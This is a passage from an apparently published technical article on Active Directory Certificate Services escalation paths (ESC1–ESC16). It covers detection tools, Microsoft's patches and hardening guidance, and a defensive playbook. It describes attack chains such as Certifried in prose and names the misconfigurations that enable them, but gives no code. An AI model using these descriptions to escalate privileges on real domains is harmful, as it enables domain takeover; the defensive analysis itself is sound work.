&lt;td&gt;Cypher&lt;/td&gt;
&lt;td&gt;8 of 16 ESCs (11 edges: ten ADCSESC&lt;em&gt;N&lt;/em&gt; + CoerceAndRelayNTLMToADCS)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Prioritization, attack-path analysis&lt;/td&gt;
&lt;td&gt;[@bh-llms]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Locksmith&lt;/td&gt;
&lt;td&gt;PowerShell&lt;/td&gt;
&lt;td&gt;Published ESC catalog&lt;/td&gt;
&lt;td&gt;Identify and fix&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Operational scans on each CA&lt;/td&gt;
&lt;td&gt;[@locksmith-gh]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PSPKIAudit&lt;/td&gt;
&lt;td&gt;PowerShell&lt;/td&gt;
&lt;td&gt;ESC1 to ESC8 plus Explicit Mappings&lt;/td&gt;
&lt;td&gt;No (read-only)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Defender baseline, audit&lt;/td&gt;
&lt;td&gt;[@pspkiaudit-gh]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MDI ADCS posture&lt;/td&gt;
&lt;td&gt;SaaS&lt;/td&gt;
&lt;td&gt;ESC1 (Preview), ESC2, ESC3, ESC4, ESC6 (Preview), ESC7, ESC8, ESC11, ESC15&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Inside MDI console&lt;/td&gt;
&lt;td&gt;SOC integration, posture scoring&lt;/td&gt;
&lt;td&gt;[@mdi-certs]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KB5014754 strong mapping&lt;/td&gt;
&lt;td&gt;Windows runtime&lt;/td&gt;
&lt;td&gt;ESC9, ESC10, Certifried (mitigation)&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;Domain Controllers (deploy)&lt;/td&gt;
&lt;td&gt;[@kb5014754]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; For most enterprises the realistic configuration is: Locksmith scheduled monthly on every CA; BloodHound CE with the ADCS collector enabled in SharpHound CE; Microsoft Defender for Identity sensor on every AD CS server (for the nine-ESC SOC visibility surface that now includes ESC1 and ESC6 in Preview); PSPKIAudit run once a quarter as the SpecterOps-blessed baseline; Certipy in the red-team or purple-team kit; and the KB5014754 rollout staged to land at Full Enforcement before February 11, 2025 (legacy-mapping removal September 9, 2025). The remaining gap items -- ESC5, ESC12, ESC14, and ESC16 (neither in BloodHound&apos;s principal graph nor in MDI&apos;s posture-assessment surface) -- are caught by Locksmith plus PSPKIAudit plus Certipy plus careful template review.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If no single tool covers everything, what is Microsoft actually doing about it?&lt;/p&gt;
&lt;h2&gt;7. What Microsoft Has Actually Shipped&lt;/h2&gt;
&lt;p&gt;Of sixteen named ESCs, Microsoft has shipped three CVE-class patches. The rest are hardening guidance. The asymmetry is not accidental; it tracks the boundary Microsoft draws in its &lt;a href=&quot;https://paragmali.com/blog/windows-security-boundaries-the-document-that-decides-what-g/&quot; rel=&quot;noopener&quot;&gt;Windows Security Servicing Criteria&lt;/a&gt; between &lt;em&gt;default-state vulnerabilities&lt;/em&gt; (which receive CVEs and binary patches) and &lt;em&gt;admin-configurable misconfigurations&lt;/em&gt; (which receive documentation). Most ESCs sit on the configurable side of that boundary.&lt;/p&gt;
&lt;p&gt;Four Microsoft mitigation tracks define the response, in order of when they shipped.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;KB5005413 (late July 2021) -- NTLM Web Enrollment hardening.&lt;/strong&gt; Published roughly six weeks after &lt;em&gt;Certified Pre-Owned&lt;/em&gt; in response to PetitPotam plus the SpecterOps ESC8 disclosure [@kb5005413]. Recommends enabling Extended Protection for Authentication, requiring SSL on the &lt;code&gt;/certsrv/&lt;/code&gt; virtual directories of AD CS Web Enrollment and the Certificate Enrollment Web Service, and disabling NTLM where Kerberos is available. Crucially: KB5005413 is &lt;em&gt;guidance&lt;/em&gt;, not a binary patch. Environments that never enabled EPA on &lt;code&gt;/certsrv/&lt;/code&gt; remain exploitable today. The KB closes ESC8 over HTTPS when fully applied; it does not affect ESC11 (RPC), ESC1 through ESC7, or anything in the ESC9-plus range.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CVE-2022-26923 (May 10, 2022) -- Certifried.&lt;/strong&gt; The single MSRC-acknowledged CVE in the original ESC1 through ESC8 design space [@cve-2022-26923-nvd] [@cve-2022-26923-msrc]. Disclosed by Oliver Lyak at IFCR [@lyak-certifried], the vulnerability lets any Authenticated User (because the default &lt;code&gt;ms-DS-MachineAccountQuota&lt;/code&gt; is 10 [@semperis-cve]) create a computer account, write its &lt;code&gt;dNSHostName&lt;/code&gt; to match a Domain Controller, request a certificate from the default Machine template, and PKINIT as the DC. Microsoft patched it on the May 10, 2022 Patch Tuesday. Semperis&apos;s retrospective documents the chain in detail [@semperis-cve]. The patch closes &lt;em&gt;that specific path&lt;/em&gt; -- the &lt;code&gt;dNSHostName&lt;/code&gt; impersonation race -- and is part of the same Patch Tuesday that shipped KB5014754. It does not close any other ESC.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;KB5014754 (May 10, 2022 -- present) -- the strong-mapping rollout.&lt;/strong&gt; The largest single Microsoft mitigation in the entire class [@kb5014754]. SpecterOps&apos;s own analysis -- &quot;Certificates and Pwnage and Patches, Oh My!&quot; -- remains the canonical walkthrough of how the new behavior interacts with the existing catalog [@specterops-pwnage].&lt;/p&gt;
&lt;p&gt;The mechanics: KB5014754 introduces the &lt;code&gt;szOID_NTDS_CA_SECURITY_EXT&lt;/code&gt; extension (OID 1.3.6.1.4.1.311.25.2), embeds the requester&apos;s SID into every issued certificate by default, and redefines which &lt;code&gt;altSecurityIdentities&lt;/code&gt; mappings the KDC will accept. Deployment is staged across three modes -- Disabled, Compatibility, and Full Enforcement -- with the Full Enforcement transition originally planned for November 2023, then repeatedly delayed in response to customer compatibility issues with SCEP, Intune PKCS, and non-Microsoft PKIs. The KB&apos;s current text states that Full Enforcement becomes the default on February 11, 2025, and the legacy compatibility-mode registry override is removed by the September 9, 2025 Windows security update [@kb5014754].&lt;/p&gt;
&lt;p&gt;What it closes: ESC9 (because Full Enforcement rejects certificates lacking the SID extension), ESC10 (because weak mappings are rejected), and Certifried even on unpatched templates. It is &lt;em&gt;bypassed&lt;/em&gt; by ESC16, which disables the SID extension at the CA level.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CVE-2024-49019 (EKUwu / ESC15) -- November 12, 2024.&lt;/strong&gt; Patched thirty-five days after Bollinger&apos;s October 8, 2024 disclosure [@bollinger-ekuwu]. The November 12, 2024 Patch Tuesday addressed the V1 WebServer template Application-Policies override [@cve-2024-49019-nvd] [@cve-2024-49019-msrc]. The patch hardens the KDC&apos;s interpretation of Application Policies in V1 certificates; it does not close ESC16, ESC11, or anything in the template DACL space.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Microsoft&apos;s Windows Security Servicing Criteria reserves CVEs for vulnerabilities in default product state [@msrc-servicing-criteria]. Misconfigurations that require administrator action to introduce are treated as hardening matters and receive documentation rather than CVEs. The 2019 ANSSI altSecurityIdentities report received a &quot;won&apos;t fix&quot; response on exactly these grounds [@dedrouas-altsec]. The boundary explains the catalog&apos;s CVE asymmetry: ESC1 (template flag) is configuration; Certifried (a default-template behavior on an account-creation-default-permission interaction) is a CVE. ESC15 sat on the boundary -- the affected template is shipped pre-installed and cannot be uninstalled, so its default-state could be argued either way -- and Microsoft chose to issue a CVE. The boundary is operational policy, not technical bound; it can move.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The single most useful table in this article is the cross-reference of which Microsoft mitigation closes which ESC. Read row by row to understand which ESCs are runtime-closed in a hardened environment and which remain dependent on the customer&apos;s administrative hardening discipline.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ESC&lt;/th&gt;
&lt;th&gt;KB5005413 (2021)&lt;/th&gt;
&lt;th&gt;CVE-2022-26923 (2022)&lt;/th&gt;
&lt;th&gt;KB5014754 (2022-2025)&lt;/th&gt;
&lt;th&gt;CVE-2024-49019 (2024)&lt;/th&gt;
&lt;th&gt;Hardening only&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;ESC1&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Partial (SID ext defeats SAN supply for cert-authn)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Primary mitigation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC2&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC3&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Partial (SID ext binds the cert to the agent)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC4&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC5&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC6&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Partial (SID ext defeats requested SAN)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Primary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC7&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC8 (HTTP)&lt;/td&gt;
&lt;td&gt;Closed when EPA + SSL deployed&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Continues if EPA off&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC9&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Closed at Full Enforcement&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Until Feb 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC10&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Closed at Full Enforcement&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Until Feb 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC11 (RPC)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Primary (&lt;code&gt;IF_ENFORCEENCRYPTICERTREQUEST&lt;/code&gt; flag)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC12&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Primary (HSM hardening)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC13&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC14&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC15&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Closed (Nov 12, 2024)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESC16&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Bypassed (this attack disables the extension)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Primary&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Of sixteen ESCs, three have CVE-class binary patches (Certifried, EKUwu, and -- if you count it -- the KB5005413 NTLM-relay hardening track), two are runtime-closed under KB5014754 Full Enforcement, and the remaining eleven are administrative hardening matters. If only three of sixteen have CVEs, what stops the catalog from growing forever?&lt;/p&gt;
&lt;h2&gt;8. The Two-Trust-Roots Problem&lt;/h2&gt;
&lt;p&gt;What stops the catalog from growing forever is the architectural property the catalog enumerates around but cannot eliminate. The catalog grows because the property is structural, not because the engineering is sloppy. Four pieces of theory anchor the limit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Two trust roots.&lt;/strong&gt; Active Directory&apos;s Kerberos KDC will mint a Domain Admin Ticket-Granting Ticket on presentation of any valid certificate signed by a CA in the forest&apos;s &lt;code&gt;NTAuthCertificates&lt;/code&gt; container, provided the certificate maps to the Administrator principal. The &lt;code&gt;krbtgt&lt;/code&gt; key is the symmetric root of trust for password and TGS authentication; an NTAuth CA&apos;s private key is an asymmetric root of trust for PKINIT. There is no architectural relationship between the two. Rotating the &lt;code&gt;krbtgt&lt;/code&gt; key does not invalidate any certificate. Revoking a CA does not invalidate &lt;code&gt;krbtgt&lt;/code&gt;-issued tickets. They are &lt;em&gt;independent authenticator-minting keys&lt;/em&gt;. For a forest with $n$ NTAuth-published CAs, the count of independent keys that can mint a Domain Admin authenticator is $n + 1$.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; For an Active Directory forest with $n$ Certificate Authorities published into &lt;code&gt;NTAuthCertificates&lt;/code&gt;, there are exactly $n + 1$ independent keys that can mint a Domain Admin authenticator: the krbtgt account hash, and the private key of every published CA. Rotating krbtgt closes one root. Revoking one CA closes another. The other $n - 1$ remain. The ESC catalog enumerates &lt;em&gt;how&lt;/em&gt; an attacker can make those keys issue a Domain Admin authenticator with low-privilege materials; the architectural property -- that there are $n + 1$ such keys at all -- is a design property of PKINIT and is not closable by any patch [@rfc4556] [@cpo-whitepaper].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;PKINIT&apos;s binding gap.&lt;/strong&gt; RFC 4556 specifies how a Kerberos client presents a certificate and receives a TGT [@rfc4556]. The RFC does not bind the certificate to a Microsoft SID; the mapping from certificate to AD principal is a Microsoft extension. The KB5014754 strong-mapping track closes the &lt;em&gt;mapping ambiguity&lt;/em&gt; by embedding the requester&apos;s SID into the certificate and matching the SID on the KDC side [@kb5014754]. It does not close the underlying primitive: a certificate is an alternate identity assertion that the KDC honors as long as the signing CA is trusted. Different ESCs find different ways to get a useful certificate; the authentication step is identical across the catalog.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The transport-versus-principal split.&lt;/strong&gt; The §6 BloodHound Aside develops this in full: BloodHound&apos;s principal-graph model now expresses ESC8 as the &lt;code&gt;CoerceAndRelayNTLMToADCS&lt;/code&gt; edge, but ESC11 remains the open structural case because the RPC transport has no equivalent coercion gadget [@bh-coerce-adcs-edge]. The model limit is partial, not total -- it applies to RPC, not to all transport attacks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The configuration-versus-CVE boundary.&lt;/strong&gt; The §7 Callout develops this in full. The catalog has accumulated CVEs only when Microsoft judged the configuration was default-state -- Certifried&apos;s machine-account-quota path and ESC15&apos;s pre-installed V1 templates. The architectural property is policy-driven and movable.&lt;/p&gt;

Active Directory has two trust roots that can mint a Domain Admin authenticator: the krbtgt key, and any CA published into NTAuth. Rotating one does not touch the other.
&lt;p&gt;The architectural property reshapes how operators should think about the catalog. The catalog is not an arms race that ends; the catalog is the community mapping the surface of a design property of PKINIT. Each new ESC narrows the description of &lt;em&gt;what surface remains exposed&lt;/em&gt;; no plausible patch removes the underlying $n + 1$ key count. Until PKINIT itself is replaced -- until PKINIT is deprecated, until the KDC stops accepting certificate-based authentication, until NTAuth-published CAs lose their KDC trust -- every NTAuth-published CA in the forest is a key parallel to krbtgt.&lt;/p&gt;
&lt;p&gt;If the architectural limit cannot be closed, what are the open questions in 2026?&lt;/p&gt;

flowchart LR
    K[krbtgt account hash&lt;br /&gt;symmetric KDC key]
    CA1[CA #1 private key&lt;br /&gt;published in NTAuth]
    CA2[CA #2 private key&lt;br /&gt;published in NTAuth]
    CAN[CA #n private key&lt;br /&gt;published in NTAuth]
    KDC[Kerberos KDC&lt;br /&gt;and PKINIT]
    AUTH[Domain Admin&lt;br /&gt;authenticator TGT]
    K --&amp;gt; KDC
    CA1 --&amp;gt; KDC
    CA2 --&amp;gt; KDC
    CAN --&amp;gt; KDC
    KDC --&amp;gt; AUTH
&lt;h2&gt;9. Open Problems and the Catalog&apos;s Closure&lt;/h2&gt;
&lt;p&gt;The catalog has no published closure principle. Here are the five open frontiers in 2026.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;No closure principle.&lt;/strong&gt; The catalog has grown every year since 2021: ESC1 through ESC8 in June 2021; ESC9 and ESC10 in August 2022; ESC11 in November 2022; ESC12 in October 2023 [@knobloch-esc12] [@knobloch-esc12-archive]; ESC13 and ESC14 in February 2024; ESC15 in October 2024; ESC16 named in 2025 against a workaround from 2022 [@specterops-esc16-docs]. ESC15 revealed a twenty-four-year-old default behavior on V1 templates -- behavior that had been quietly present since the role&apos;s 2000 shipping date [@bollinger-ekuwu]. The Certify documentation conjectures an upper bound (the six primitive categories times the misconfigurable bits per primitive) but no formal upper bound is published. ESC15 is itself an existence proof that &lt;em&gt;new categories&lt;/em&gt; still emerge: Application Policies as a parallel to standard EKU was not in the original 2021 catalog at all.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Detection asymmetry.&lt;/strong&gt; Most ESCs leave artifacts on the CA -- specifically Event ID 4886 (certificate request submitted) and Event ID 4887 (certificate issued) -- and no artifact in the standard Active Directory event stream. Most SIEMs do not ingest CA logs, because CA logs were never on the standard Tier-Zero ingest checklist. The result is that the CA&apos;s own audit log carries the only reliable forensic primitive for the entire catalog, and that log is in a place the SOC does not look. Locksmith and PSPKIAudit can identify the &lt;em&gt;misconfigurations&lt;/em&gt; but cannot tell you whether they have been &lt;em&gt;exploited&lt;/em&gt;; that signal lives in the CA&apos;s audit log alone.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Strong-mapping migration risk.&lt;/strong&gt; The KB5014754 staged rollout enters Full Enforcement on February 11, 2025 and removes the legacy compatibility-mode registry override on September 9, 2025 [@kb5014754]. Environments with legacy SCEP gateways, third-party PKI vendors, Intune PKCS profiles without strong mapping, or smart cards issued by non-Microsoft CAs face a real risk that &lt;em&gt;legitimate&lt;/em&gt; authentication breaks at Full Enforcement. The Microsoft Tech Community Intune guidance is the operational reference for the SCEP/PKCS path [@ms-tc-intune]. The migration is a security upgrade and a deployment minefield in the same package; environments that defer the rollout past September 9, 2025 lose the legacy override and are forced into Full Enforcement by an OS update they did not opt into.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Per the live KB5014754 text on Microsoft Support: &quot;By February 2025, if the StrongCertificateBindingEnforcement registry key is not configured, domain controllers will move to Full Enforcement mode&quot; and &quot;the option to move back to Compatibility mode will remain until the September 9, 2025, Windows security update is installed&quot; [@kb5014754]. Environments that have not finished the strong-mapping rollout by those dates -- particularly those with non-Microsoft PKI in the chain, including legacy SCEP / Intune PKCS / smart-card vendors -- should plan for breakage and have a rollback plan ready.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Cloud PKI.&lt;/strong&gt; Entra-managed Cloud PKI changes the substrate: the issuing CA is Microsoft-operated, the template surface is partially exposed to administrators, and the trust relationship between Cloud PKI and on-premises Active Directory is itself a configurable bridge. The community has not yet published an ESC catalog for Cloud PKI; the on-premises catalog is on-prem-specific and does not transfer directly. The open question is whether the Cloud PKI substrate has its own equivalent primitives (a CA-side &quot;this template is configured with ESS-equivalent behavior&quot;) that just have not yet been named.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The NTLM dependency in ESC8 and ESC11.&lt;/strong&gt; Both ESC8 and ESC11 depend on NTLM authentication being available between the coerced computer and the CA host. Microsoft&apos;s stated direction is to disable NTLM by default in future Windows releases (the &quot;NTLM disablement&quot; track) [@ms-ntlm-evolution]. If that direction completes, ESC8 and ESC11&apos;s relay primitives lose their substrate -- not because the AD CS transport hardens, but because there is no NTLM authentication to relay. The rest of the catalog -- the template, ACL, mapping, and CA-configuration ESCs -- does not depend on NTLM and is unaffected by NTLM disablement.&lt;/p&gt;
&lt;p&gt;Taken together, these results suggest the catalog&apos;s growth trajectory is structural. The reason ESC15 surfaced a twenty-four-year-old default is not that the SpecterOps team was lazy in 2021; it is that the surface is so large that systematic enumeration of every cross-product (six primitives multiplied by the configurable bits per primitive) is itself a research program. Knowing the architectural limits and the open problems, here is the operational playbook.&lt;/p&gt;
&lt;h2&gt;10. The Four-Lane Playbook&lt;/h2&gt;
&lt;p&gt;Here is what an enterprise security program actually does, in four lanes. Lane discipline matters because the catalog rewards parallel work: a single quarter spent only on Lane 1 leaves you detection-blind, and a single quarter spent only on Lane 2 leaves you remediation-paralyzed.&lt;/p&gt;
&lt;h3&gt;Lane 1: Preventive hygiene&lt;/h3&gt;
&lt;p&gt;Run Locksmith and PSPKIAudit on every Enterprise CA at least monthly [@locksmith-gh] [@pspkiaudit-gh]. Both tools enumerate the published catalog and produce a triage list. The defender baseline these tools encode is roughly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Template ACL audit. Confirm that no non-Tier-Zero principal holds &lt;code&gt;WriteDacl&lt;/code&gt;, &lt;code&gt;WriteOwner&lt;/code&gt;, &lt;code&gt;WriteProperty&lt;/code&gt;, or &lt;code&gt;GenericAll&lt;/code&gt; on any V2 template.&lt;/li&gt;
&lt;li&gt;CA security descriptor audit. Confirm that &lt;code&gt;Manage CA&lt;/code&gt; and &lt;code&gt;Issue and Manage Certificates&lt;/code&gt; are held only by Tier-Zero principals.&lt;/li&gt;
&lt;li&gt;ESS audit. Confirm that no template enrollable by &lt;code&gt;Authenticated Users&lt;/code&gt; or &lt;code&gt;Domain Users&lt;/code&gt; has &lt;code&gt;CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; set with Client Authentication EKU and no Manager Approval.&lt;/li&gt;
&lt;li&gt;CA registry audit. Confirm that &lt;code&gt;EDITF_ATTRIBUTESUBJECTALTNAME2&lt;/code&gt; is &lt;em&gt;not&lt;/em&gt; set, and &lt;code&gt;IF_ENFORCEENCRYPTICERTREQUEST&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; set.&lt;/li&gt;
&lt;li&gt;SID extension audit. Confirm that &lt;code&gt;szOID_NTDS_CA_SECURITY_EXT&lt;/code&gt; (OID 1.3.6.1.4.1.311.25.2) is &lt;em&gt;not&lt;/em&gt; present in any CA&apos;s &lt;code&gt;DisableExtensionList&lt;/code&gt; registry value -- closing the ESC16 path.&lt;/li&gt;
&lt;li&gt;Manager Approval on sensitive templates. Confirm that any template with privileged EKU sets has Manager Approval.&lt;/li&gt;
&lt;li&gt;Least-privilege Enroll. Confirm that Domain Users-equivalent groups do not hold Enroll or Autoenroll on sensitive templates.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Lane 2: Detection deployment&lt;/h3&gt;
&lt;p&gt;Ingest the CA&apos;s own Security event log into the SIEM. The two load-bearing events are 4886 (&quot;Certificate Services received a certificate request&quot;) and 4887 (&quot;Certificate Services approved a certificate request and issued a certificate&quot;). These events are what fire when an operator chain like the cold-open in section one executes. They are the only AD CS event stream the SOC needs to detect the entire issuance side of the catalog.&lt;/p&gt;
&lt;p&gt;Enable Microsoft Defender for Identity sensors on every AD CS server. MDI now ships nine named ESC posture assessments -- ESC1 (Preview), ESC2, ESC3, ESC4 (template owner and template ACL as two separate assessments), ESC6 (Preview), ESC7, ESC8, ESC11, and ESC15 -- and surfaces them in the same console the SOC uses for the rest of Active Directory [@mdi-certs]. The ADCS-resident sensor is the only MDI sensor that produces these particular assessments; environments running MDI on Domain Controllers only do not get the AD CS surface.&lt;/p&gt;
&lt;p&gt;Run SharpHound CE with the AD CS collection options enabled and ingest the resulting graph into BloodHound CE. Tag NTAuth-published CAs and their pre-installed sensitive templates as Tier Zero in BloodHound&apos;s Privilege Zones. Run the analysis layer&apos;s &lt;code&gt;Shortest Paths to Tier Zero&lt;/code&gt; query weekly; ESC1, ESC3, ESC4, ESC6a/b, ESC9a/b, ESC10a/b, and ESC13 will surface as edges, along with &lt;code&gt;CoerceAndRelayNTLMToADCS&lt;/code&gt; paths for any ESC8-vulnerable HTTP enrollment endpoint [@bh-llms] [@bh-coerce-adcs-edge].&lt;/p&gt;
&lt;p&gt;Schedule Locksmith on a recurring cadence with output to a triage queue. Locksmith is the lowest-friction defender tool; it identifies and (with mode 1) optionally fixes published-catalog findings with a single cmdlet.&lt;/p&gt;
&lt;h3&gt;Lane 3: Confirmed-compromise response&lt;/h3&gt;
&lt;p&gt;This lane carries the article&apos;s load-bearing operational claim. If a CA&apos;s private key is suspected compromised -- whether through ESC12 hardware-substrate compromise, through &lt;code&gt;ntdsutil&lt;/code&gt;-equivalent CA export, or through a vendor compromise of the HSM -- the recovery path is &lt;em&gt;not&lt;/em&gt; &quot;rotate krbtgt&quot; and &lt;em&gt;not&lt;/em&gt; &quot;revoke the affected certificates&quot;. The recovery path is multi-week:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Revoke the CA&apos;s published certificate chain.&lt;/li&gt;
&lt;li&gt;Decommission the CA (remove the role service, delete the CA private key store, retire the host).&lt;/li&gt;
&lt;li&gt;Build a replacement CA on new hardware with a new key.&lt;/li&gt;
&lt;li&gt;Publish the new CA into &lt;code&gt;NTAuthCertificates&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Distrust the old CA&apos;s certificates throughout the forest (CRL update, certificate revocation lists pushed via Group Policy, decommissioning all certificates issued by the compromised CA).&lt;/li&gt;
&lt;li&gt;Re-issue every credential that depended on the compromised CA.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This operation is analogous in scale and duration to a forest rebuild for &lt;code&gt;krbtgt&lt;/code&gt; compromise -- a multi-week IR project, not a one-day patch. The reason is the two-trust-roots property: revoking the CA closes only one of the $n + 1$ keys; if the operator already minted Golden Certificates against the CA&apos;s private key, those certificates outlive the revocation unless every issued serial is on the CRL and every relying party has a fresh CRL fetch policy.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Lane-3 CA rebuild operation is the single most important &lt;em&gt;preparatory&lt;/em&gt; deliverable in this entire playbook. Run a tabletop exercise: &quot;the CA private key is compromised; what are the steps to a clean state?&quot; If the answer is unclear in the absence of an incident, the answer will be improvised during one -- typically poorly. Build the runbook, identify the operational owners, pre-stage the replacement CA&apos;s hardware, and document the certificate inventory you will need to re-issue. The two-week recovery becomes a one-week recovery if the prep is done; the two-week recovery becomes a four-week recovery if it is not.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Lane 4: What does not work&lt;/h3&gt;
&lt;p&gt;Five operator myths that the catalog refutes by construction:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&quot;Rotating krbtgt closes AD CS.&quot;&lt;/strong&gt; Wrong. Rotating krbtgt closes the symmetric KDC key; it does not touch the asymmetric CA private keys in &lt;code&gt;NTAuthCertificates&lt;/code&gt;. An ESC1 certificate issued against the new krbtgt mints a Domain Admin TGT the same way it would have against the old one.&lt;/li&gt;
